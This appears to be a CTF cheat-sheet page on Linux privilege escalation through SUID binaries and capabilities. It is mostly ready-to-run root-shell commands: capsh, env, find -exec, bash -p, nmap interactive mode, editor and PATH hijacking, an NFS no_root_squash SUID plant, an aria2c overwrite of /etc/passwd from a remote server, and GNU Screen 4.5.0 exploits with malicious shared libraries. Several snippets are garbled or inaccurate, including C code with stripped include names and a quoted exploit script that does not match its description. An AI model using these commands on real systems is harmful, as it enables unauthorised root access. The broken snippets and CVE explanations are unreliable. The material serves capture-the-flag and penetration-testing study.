> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-14/linux/capabilities/privilege-escalation-linux-suid.md). # Suid ## Privilege Escalation via SUID capsh If the `capsh` utility has the SUID bit set, you can leverage it to gain a root shell by executing: ```bash /sbin/capsh --gid=0 --uid=0 -- ``` This command tells `capsh` to set its effective group ID (`--gid=0`) and user ID (`--uid=0`) to root (0). The trailing `--` then instructs `capsh` to execute your default shell with these newly assigned root privileges, effectively giving you a root shell. This works because the SUID bit allows `capsh` to perform these operations even if you are running as a non-root user. If `capsh` has SUID set along with `cap_setuid+ep` or `cap_setgid+ep`, you can exploit it to gain root privileges. Capabilities are a Linux feature that allows granular control over privileges, instead of the traditional SUID bit. A process with a capability can perform specific privileged operations, even if it's not running as root. Capabilities are assigned to executable files. To check capabilities of a file, use `getcap`: ```bash getcap /path/to/file ``` For example, to check capabilities of `capsh`: ```bash getcap /sbin/capsh ``` You can also check capabilities recursively for all files on the system, redirecting errors to `/dev/null`: ```bash getcap -r / 2>/dev/null ``` Capabilities can be added or removed from a file using the `setcap` command. For instance, to give a binary the `cap_net_raw` capability (which allows using raw sockets, often needed by networking tools like `ping` or `tcpdump`) in its effective and permitted sets: ```bash setcap cap_net_raw+ep /path/to/binary ``` Besides `cap_setuid` and `cap_setgid`, other capabilities can also be significant. For example, `cap_net_raw` allows the process to use raw sockets, useful for network sniffing or sending arbitrary packets. Another notable capability is `cap_dac_read_search`, which allows bypassing file read permission checks and directory search permission checks. If a binary has `cap_dac_read_search+ep` set, it could potentially read sensitive files anywhere on the system. You can check for such capabilities using `getcap` on relevant binaries. *** ## SQLite Edit Function Abuse Via Binary Copy When a privileged program using the SQLite `edit()` function clears the PATH environment variable, you can potentially exploit this by ensuring the editor it calls is available in the current directory. Copy a useful binary like `vim` to the directory where the SUID program is executed: ```bash cp /bin/vim . ``` Now, when the SUID program executes `edit("some text", "vim")`, it will find and execute your local copy of `vim` with its elevated privileges (e.g., root). Inside the root `vim` instance that pops up, you can escape to a shell: ```vim :!/bin/bash ``` This leverages the fact that many programs, including `sqlite3`'s `edit`, will look in the current directory for executables when called by name, even if the PATH is cleared. Additionally, `sqlite3` itself can be used for privilege escalation if it is found with the SUID bit set. It can be used to break out from restricted environments by spawning an interactive system shell using the `.shell` command. From within an interactive `sqlite3` prompt: ``` sqlite3 /dev/null .shell /bin/sh ``` Alternatively, if the `sqlite3` binary is SUID, you can often execute a shell directly: ```bash ./sqlite3 /dev/null '.shell /bin/sh' ``` *** ## SQLite Edit Function Abuse Via Visual Env Var If a SUID binary uses SQLite and its `edit()` function, it might honor the `VISUAL` environment variable for determining the editor, even if it clears `PATH`. Certain SUID binaries, particularly those that allow user interaction involving editing files, may consult environment variables like `VISUAL` or `EDITOR` to determine which program to launch for the editing task. Some SUID binaries execute commands based on environment variables like `EDITOR` or `VISUAL`. If these environment variables are not unset or sanitized, an attacker can set them to point to a malicious script or binary, which will then be executed with the SUID permissions. If these variables are not properly sanitized or ignored by the SUID process, a malicious user can set them to point to an arbitrary executable, leading to privilege escalation if the SUID binary runs as a privileged user (like root). Common editors that might be called include `vim` and `nano`. By setting `VISUAL` to `/bin/vim`, you can force the root process to execute Vim. ```bash export VISUAL=/bin/vim ``` Alternatively, you can set `EDITOR`: ```bash export EDITOR=/tmp/exploit.sh export VISUAL=/tmp/exploit.sh ``` To exploit this, first set the environment variable (`VISUAL` or `EDITOR`) to the path of the desired executable. Run the SUID binary and navigate to the option that triggers the `edit()` function. If the binary honors the variable, it will execute the specified editor or program with the privileges of the SUID binary. When Vim opens, execute a shell command using its built-in shell escape functionality: ```vim :!/bin/bash ``` or ```vim :!/bin/sh ``` This executes the specified shell command with the privileges of the editor process, which inherited them from the SUID binary, spawning a root shell within the Vim session. Alternatively, if the SUID binary doesn't strictly require a text editor interface and simply executes the program pointed to by `VISUAL` or `EDITOR`, you might be able to set the variable directly to a shell like `/bin/bash` or `/bin/sh`: ```bash export VISUAL=/bin/bash ``` or ```bash export EDITOR=/bin/sh ``` Then, triggering the edit function would directly launch a root shell. Another approach is to set the variable to a custom script. For instance, setting `EDITOR` to `/tmp/shell.sh`: ```bash export EDITOR="/tmp/shell.sh" ``` with `/tmp/shell.sh` containing: ```bash #!/bin/bash /bin/sh ``` This would execute the script with elevated privileges, potentially dropping a root shell. Besides `EDITOR` and `VISUAL`, other environment variables that some SUID binaries might rely on and could potentially be exploited if not properly handled include `PATH`, `LD_PRELOAD`, `LD_LIBRARY_PATH`, `IFS`, `RHOSTS`, `TERMCAP`, `TERM`, `TMPDIR`, `SHELL`, `PS1`, `PS2`, `PS4`, `BASH_ENV`, `GLOBIGNORE`, `PAGER`, `LESS`, `GIT_EDITOR`, `GIT_PAGER`, `GIT_EXTERNAL_DIFF`, etc. If these variables are not properly handled or sanitized, it can lead to privilege escalation. *** ## SUID /usr/bin/env Privilege Escalation The `env` command can be used to break out from restricted environments by spawning an interactive system shell. A common way to do this is: ```bash env /bin/sh ``` If `/usr/bin/env` has the SUID bit set, this capability can be leveraged to execute commands with root privileges. The `-p` option is critical as it prevents the executed shell from dropping inherited privileges, ensuring the root privileges are maintained. To get a root shell using the SUID bit on `/usr/bin/env`, run the following command: ```bash /usr/bin/env /bin/sh -p ``` *** ## SUID Abuse OpenVPN Leveraging an SUID-set `openvpn` binary involves passing the target restricted file path as an argument. If the binary processes this argument in a way that reads or outputs the file content under its elevated (root) privileges, you can read the file. ```bash /home/johnny/openvpn /root/flag.txt ``` A common method involves using the `--config` option to specify a configuration file path. If the SUID bit is set on the `openvpn` binary, this can be abused to read files owned by the superuser by attempting to load the target file as a configuration. ```bash openvpn --config /etc/passwd ``` *** ## SUID Aria2c File Overwrite When the `aria2c` binary has the SUID bit set, you can leverage its download and file overwrite capabilities to overwrite sensitive system files as the owner of the binary (usually root). This requires hosting a malicious file (e.g., a modified `/etc/passwd` with a new root user) on an HTTP server accessible from the target machine. The utility `aria2c` is a command-line download tool. It can be used to break out from restricted environments by downloading files. When used for SUID exploitation via file download, options like `-d`, `-o`, and `--allow-overwrite` are critical. The `-d` or `--dir=DIR` option specifies the directory to store the downloaded file, while `-o` or `--out=FILE` determines the file name of the downloaded file. The `--allow-overwrite=true|false` option controls whether existing files can be overwritten; its default value is false, so setting it to `true` is necessary for this exploit. Use the following command, specifying the target directory (`-d`), the output filename (`-o`), the URL of your hosted file, and crucially, the `--allow-overwrite=true` flag to ensure existing files are replaced. ```bash /usr/bin/aria2c -d /etc -o passwd http:///passwd --allow-overwrite=true ``` This forces the SUID `aria2c` process to download your crafted `passwd` file and write it directly to `/etc/passwd`, overwriting the original and granting you escalated privileges via the new user you added. *** ## SUID Binary Abuse (/bin/bash -p) To begin, identify potential SUID binaries owned by root using commands like: ```bash find / -perm /4000 2>/dev/null ``` If the `/bin/bash` executable is listed and has the SUID bit set and is owned by root, you can often leverage this for privilege escalation. When bash is started in privileged mode, such as with the SUID bit set and the effective user ID is not equal to the real user ID, it operates differently. Execute the binary with the `-p` flag, which is crucial as it tells bash to run with the effective user ID (root in this case) instead of dropping it to the real user ID. ```bash /bin/bash -p ``` After executing `/bin/bash -p`, you can verify the effective user ID using the `id` command. You should see your real user ID and group ID, but the effective user ID will be 0 (root), indicating the elevated privileges: ```bash bash-4.4$ id uid=1000(user) gid=1000(user) euid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(snapd),1000(user) bash-4.4$ whoami root ``` However, bash is vulnerable to a flaw where, under certain circumstances, if bash is started in privileged mode (e.g. with --privileged or -p) and the effective UID is not equal to the real UID, it will drop the effective UID to the real UID when a shell built-in or a shell function is executed. This means that while the initial shell session may inherit the effective UID, commands executed via built-ins or functions might lose these elevated privileges. This vulnerability, tracked as CVE-2019-18276, affects Bash versions 5.0 and earlier. It can be exploited by defining a shell function and exporting it, then executing it. This causes bash to re-evaluate privileges and, due to the flaw, the effective UID is not dropped, allowing commands within the function to run with root privileges. An example exploit script is shown below: ```bash #!/bin/bash # Bash SUID privilege escalation (CVE-2019-18276) # Exploit by: https://github.com/0x00-0x00/CVE-2019-18276 /bin/bash -p <<'EOF' function exploit() { /bin/bash -p } export -f exploit exploit EOF ``` Executing this script will drop you into a new bash shell where both the real and effective user IDs are root: ```bash bash-4.4# id uid=0(root) gid=0(root) euid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(snapd),1000(user) bash-4.4# whoami root ``` *** ## SUID Binary Creation via No\_Root\_Squash NFS Leveraging an NFS share exported with `no_root_squash` and `rw` allows an attacker mounting the share as root on their machine to act as the target system's root user within that shared directory. If the NFS share is configured with `no_root_squash`, the root user on the client machine will have root privileges on the mounted share. Coupled with the `rw` option, this allows an attacker to create files and set permissions on the share as if they were the root user of the server. A common exploit is to create a SUID root binary on the share. This can be exploited to create a SUID root binary directly on the share from the attacker's machine. First, the attacker machine needs to mount the vulnerable NFS share as root. This is typically done using the `mount` command with `sudo`: ```bash sudo mount -t nfs :/ /mnt/nfs -nolock ``` Once the share is mounted with root privileges on the attacker's machine, the attacker can copy a binary like `/bin/bash` from their own system onto the mounted share and set the SUID permission: ```bash cp /bin/bash /mnt/nfs/bash chmod +s /mnt/nfs/bash ``` Alternatively, if a specific binary from the target system is required, it can be copied onto the share by a user with write access on the target first: ```bash # On target, as James (or any user with write access to the share path) cp /bin/bash /home/james/bash ``` Then, on the attacker machine, after mounting the share pointing to that location (e.g., `sudo mount target_ip:/home/james /mnt/nfs`), the attacker can access the copied binary via the mount, copy/rename it (optional but common practice), and set the SUID bit: ```bash # On attacker machine, while NFS is mounted as root to /mnt/nfs (e.g., sudo mount target_ip:/home/james /mnt/nfs) cp /mnt/nfs/bash /mnt/nfs/bashh chmod +sx /mnt/nfs/bashh ``` Finally, execute the new SUID binary on the target system to get a root shell. The `-p` flag for bash is often used to prevent it from dropping privileges: ```bash # On target, as James (or any user on the system) /home/james/bashh -p ``` Or, if the binary was copied directly from the attacker's machine to the share: ```bash # On target, as any user on the system /path/to/share/bash -p ``` *** ## SUID Find Privilege Escalation If the `find` binary (e.g., `/usr/bin/find`) has the SUID bit set, typically owned by root, you can abuse its `-exec` functionality to execute arbitrary commands with root privileges. First, you can identify SUID binaries on the system using a command like: ```bash find / -perm -u=s -type f 2>/dev/null ``` Once `find` is identified as SUID, the key is to execute a shell with the `-p` (privileged) flag, which prevents the shell from dropping the effective UID granted by the SUID bit. The `-exec` option of `find` allows arbitrary command execution with root privileges if the `find` binary has the SUID bit set. The command to exploit this is: ```bash /usr/bin/find . -exec /bin/bash -p \; -quit ``` This command searches starting from the current directory (`.`) and uses the `-exec` option to execute `/bin/bash` with the `-p` flag (privileged mode) for each item found. The `\;` escapes the semicolon for `find`, and `-quit` ensures `find` exits after the first execution, granting you a root shell if successful. An alternative using `/bin/sh` is also possible: ```bash /usr/bin/find . -exec /bin/sh -p \; -quit ``` You can also use the `-exec` option to execute other commands directly with root privileges, for example, to read a sensitive file: ```bash /usr/bin/find . -exec cat /etc/shadow \; ``` Ensure the paths to `find`, `bash`, or `sh` are correct for the target system. *** ## SUID Nmap Interactive Mode Root Exploiting an SUID-enabled Nmap binary to gain root is a classic technique relying on its interactive mode. If you find `/usr/local/bin/nmap` (or similar path) has the SUID bit set, you can leverage this. First, verify the SUID bit is present: ```bash ls -l /usr/local/bin/nmap ``` If the output shows `rws` for the owner permissions (e.g., `-rwsr-xr-x`), it's SUID. Then, launch Nmap in interactive mode: ```bash /usr/local/bin/nmap --interactive ``` This technique exploits an interactive mode vulnerability present in Nmap versions 2.00 to 3.81. If the Nmap binary has the SUID bit set, this vulnerability allows arbitrary code execution with elevated privileges. Once you are at the `nmap>` prompt, you can execute system commands by prefixing them with an exclamation mark `!`. Since Nmap is running with root privileges (due to SUID), any command executed this way will also run as root. This allows you to escape and get a root shell. This can be done using commands such as: ``` nmap> !sh ``` or alternatively: ``` nmap> !/bin/sh ``` Other shells like `!bash` can also be used. This works because older Nmap versions in interactive mode allow executing arbitrary commands via `!` which inherit the SUID privileges. It can be used to break out from restricted environments by spawning an interactive shell. This is a well-known vulnerability and often listed on GTFOBins. *** ## SUID Path Hijacking (relative path) When a SUID binary calls an external command using a relative path (e.g., just `tar` instead of `/bin/tar`), it relies on the `PATH` environment variable to find the executable. If you can control the `PATH` and create a malicious executable with the same name as the called command, you can hijack the execution flow. First, create your malicious executable (e.g., a simple script that will execute `/bin/bash`) in a directory you control (e.g., `/tmp`). For privilege escalation, it's often necessary to use `bash -p` to ensure privileges are preserved. ```bash echo 'bash -p' > /tmp/tar ``` Make the malicious executable runnable. ```bash chmod +x /tmp/tar ``` Now, modify your `PATH` environment variable to put your controlled directory (like `/tmp`) before the legitimate system directories. This ensures that when the SUID binary searches for the command, it finds your version first. ```bash export PATH=/tmp:$PATH ``` Finally, execute the vulnerable SUID binary, such as `/usr/bin/pandora_backup`. ```bash /usr/bin/pandora_backup ``` If the `pandora_backup` binary executes `tar` using a relative path, it will find your malicious script in `/tmp` first due to the modified `PATH`. Your script, configured to run `bash -p`, should then execute with the privileges of the `pandora_backup` binary (typically root), granting you a privileged shell. *** ## SUID Screen Privilege Escalation (CVE-2017-5618) Locate the `screen` binary with the SUID bit set, specifically version 4.5.0, which is vulnerable to CVE-2017-5618. This vulnerability allows for local privilege escalation. When an SUID binary is executed, the dynamic linker typically ignores `LD_PRELOAD` for security reasons. However, some SUID binaries may have flaws that cause them to bypass this security check, allowing a user to load a malicious shared library and execute code with the privileges of the SUID owner (usually root). GNU Screen 4.5.0 is susceptible to this issue, making it possible to load arbitrary shared libraries when the SUID bit is set by setting the `LD_PRELOAD` environment variable before executing screen. Use `searchsploit` to find the corresponding exploit (e.g., `linux/local/41154.sh`). This script is a local root exploit for GNU Screen 4.5.0 (CVE-2017-5618). The exploit script `41154.sh` typically performs the following actions: 1. Creates a temporary directory. 2. Writes C code for a malicious shared library (`.so`) into a file (e.g., `lib.c`). This library contains a constructor function (`_init`) that executes `/bin/bash` with root privileges. 3. Compiles the C code into a shared library object (`lib.so`) using `gcc`. 4. Sets the `LD_PRELOAD` environment variable to the path of the compiled shared library. 5. Executes the vulnerable `screen` binary. Due to the vulnerability, `screen` loads the malicious library despite being SUID, and the constructor function executes, providing a root shell. 6. Cleans up the temporary files and directory. The content of the exploit script `41154.sh` is as follows: ```bash #!/bin/bash # screen 4.5.0 with suid devliery # CVE-2017-5618 # https://www.exploit-db.com/exploits/41154/ # gcc -fPIC -shared -nostdlib -static -o lib.so lib.c mkdir /tmp/screen echo "int getuid(){return 0;}" > /tmp/screen/lib.c gcc -fPIC -shared -nostdlib /tmp/screen/lib.c -o /tmp/screen/lib.so screen -D -m -L /tmp/screen/lib.so screen -r root ``` Transfer the exploit script to the target system and execute it to gain a root shell. ```bash scp 41154.sh @:/home/ ssh @ ./41154.sh ``` *** ## SUID Script PATH Hijacking Exploit SUID scripts that call external commands without absolute paths by manipulating the `PATH` environment variable. This vulnerability occurs when a SUID binary executes another program without specifying its full path, causing the system to search for the program in the directories listed in the user's `PATH` variable. If a user can control the `PATH` and place a malicious executable earlier in the list than the legitimate one, the SUID binary will execute the malicious code with its own privileges (often root). First, identify SUID root scripts or binaries. You can typically find SUID files using the `find` command: ```bash find / -perm -u=s -type f 2>/dev/null ``` or ```bash find / -perm /4000 2>/dev/null ``` Analyze the identified SUID binaries (e.g., `/opt/run_container.sh` or `/usr/local/bin/suid_binary`) to find calls to external commands without full paths (e.g., `validate_container_id`, `cat`, `cp`, `ls`, `mv`, `rm`, `sh`). You can use the `strings` command to inspect the binary for such calls: ```bash strings /usr/local/bin/suid_binary | grep -E " cat| cp| ls| mv| rm| sh" ``` Find a directory where you have write permissions (e.g., `/tmp` or `/var/tmp`). Prepend this writable directory to your `PATH` environment variable. This tells the system to look for executables in your chosen directory *before* the standard system directories. ```bash export PATH=/var/tmp:$PATH ``` Create an executable file in the writable directory with the exact same name as the external command called by the SUID script (e.g., `/var/tmp/validate_container_id` or `/tmp/cat`). Place your desired payload inside this script. For example, to get an SUID bash shell: ```bash #!/bin/bash chmod +s /bin/bash ``` Another common payload is simply executing `/bin/bash`: ```bash #!/bin/bash /bin/bash ``` Make the malicious script executable: ```bash chmod +x /var/tmp/validate_container_id ``` Execute the SUID script (`/opt/run_container.sh` or `/usr/local/bin/suid_binary`). Because your malicious script's directory is now at the beginning of the `PATH`, the SUID program will execute your script from `/var/tmp` or `/tmp` instead of the legitimate command, running your payload with root privileges. Finally, if your payload created an SUID bash shell, execute it using the `-p` flag to maintain the effective UID (root): ```bash bash -p ``` *** ## Screen 4.5.0 SUID Exploit If you find `screen` version 4.5.0 running with SUID permissions, it's likely vulnerable to privilege escalation, specifically identified as CVE-2017-5618. This vulnerability allows a local attacker to gain root privileges. Locate SUID binaries: ```bash find / -type f -perm -u=s 2>/dev/null ``` If `/bin/screen-4.5.0` or similar is identified as SUID, you can exploit this vulnerability. A common method involves manipulating the `/etc/ld.so.preload` file to load a malicious shared library. The `LD_PRELOAD` environment variable or the `/etc/ld.so.preload` file can be used to specify shared libraries that are loaded *before* any other library, including the standard C library. If a SUID binary loads a library specified this way, the functions in the malicious library can override standard library functions (like `getuid()`, `setuid()`, etc.) and execute arbitrary code with the elevated privileges of the SUID binary. First, prepare the environment by creating a temporary directory and a simple C file for a malicious shared library that executes code upon loading to gain root privileges. ```bash mkdir /tmp/libfakeload cd /tmp/libfakeload echo '#include #include #include #include void _init() { unsetenv("LD_PRELOAD"); printf("[+] Hijacked and setuid(0)n"); setuid(0); }' > getuid.c ``` Compile the C file into a shared library: ```bash gcc -fPIC -shared -o /tmp/libfakeload/getuid.so /tmp/libfakeload/getuid.c ``` Next, use the SUID screen binary to create a symbolic link or manipulate a file that screen interacts with, pointing towards `/etc/ld.so.preload`. This exploit leverages screen's logging feature (`-L`). By specifying a log directory where we control a symlink named `lib.so` pointing to `/etc/ld.so.preload`, we can trick screen into writing the path to our malicious library into `/etc/ld.so.preload`. Create a symbolic link from a file within our temporary directory to `/etc/ld.so.preload`. The target name `lib.so` is used because `screen` expects a file name in the specified directory when logging. ```bash ln -sf /etc/ld.so.preload /tmp/libfakeload/lib.so ``` Then, run the SUID screen binary, directing its logging output to the temporary directory. ```bash /bin/screen-4.5.0 -D -m -L /tmp/libfakeload ``` This command attempts to create a log file named `screenlog.0` in `/tmp/libfakeload`. Because `/tmp/libfakeload/lib.so` is linked to `/etc/ld.so.preload`, screen might interact with this link when setting up logging or other internal operations. Now, write the path to our malicious shared library (`/tmp/libfakeload/getuid.so`) into the target file by writing to the symbolic link. ```bash echo "/tmp/libfakeload/getuid.so" > /tmp/libfakeload/lib.so ``` Finally, trigger a process that loads shared libraries, such as running `screen` again, to execute the code in our malicious library with root privileges. ```bash screen -ls # Or another command that loads shared libraries, like running the SUID screen binary again. ``` The `_init()` function in the malicious library will execute upon loading, setting the effective user ID to 0 (root). You can verify this by running a command like `whoami` in a new shell after the trigger, or if the library prints output, it will appear in the terminal where the triggering command was run. After successful exploitation, clean up the `/etc/ld.so.preload` file to avoid impacting system stability and remove the temporary files. ```bash echo "" > /etc/ld.so.preload rm -rf /tmp/libfakeload ```